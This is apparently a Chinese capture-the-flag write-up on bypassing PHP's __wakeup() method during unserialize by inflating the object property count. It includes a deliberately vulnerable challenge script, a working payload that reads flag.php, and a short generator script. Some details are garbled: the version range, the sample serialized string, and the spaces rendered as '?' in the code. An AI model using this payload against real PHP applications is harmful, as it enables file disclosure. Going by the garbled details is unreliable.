据陈腾师傅所说:
漏洞产生原因:
如果存在——wakeup()方法,调用unserilze()方法前则线调用——wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会tiaoguo——wakeup()的执行。
也就是属性个数比你实际个数多。
但是限制很大,5<php<5.6&&<7php<7.0.1
举个例子:
o:4:"test":2:{s:2:"v1":s:6:"benben":s:2:"v2";s:3:"123";}
在这里如果test本来有wake()——魔术方法,但是我把2改成3,那就不会触发。
<?php
error_reporting(0);
class?secret{
????var?$file='index.php';
????public?function?__construct($file){
????????$this->file=$file;
????}
????function?__destruct(){
????????include_once($this->file);
????????echo?$flag;
????}
????function?__wakeup(){
????????$this->file='index.php';
????}
}
$cmd=$_GET['cmd'];
if?(!isset($cmd)){
????highlight_file(__FILE__);
}
else{
????if?(preg_match('/[oc]:\d+:/i',$cmd)){
????????echo?"Are?you?daydreaming?";
????}
????else{
????????unserialize($cmd);
????}
}
//sercet?in?flag.php
?>
这里因为flag在flag.php但是我只要进行反序列化就会触发wake()魔术方法,使file=index.php,这不是我们要的,所以必须绕过它,这里直接复制前面代码,把file改为flag.php,进行反序列化,得到正常的pop链,之后再把? o??后面的数字加个正号,然后把属性加一,接下来URL编码就可以绕过。
代码:
<?php class secret { var $file = 'flag.php'; } echo serialize(new secret()); $a='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'; echo urlencode($a); 如下图:
一句话:绕过__wakeup()就三步走:
(1)拿到正常反序列化字符串
(2)在pop链O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}加入正号
(3)URL编码提交
希望文章对大家能够有帮助!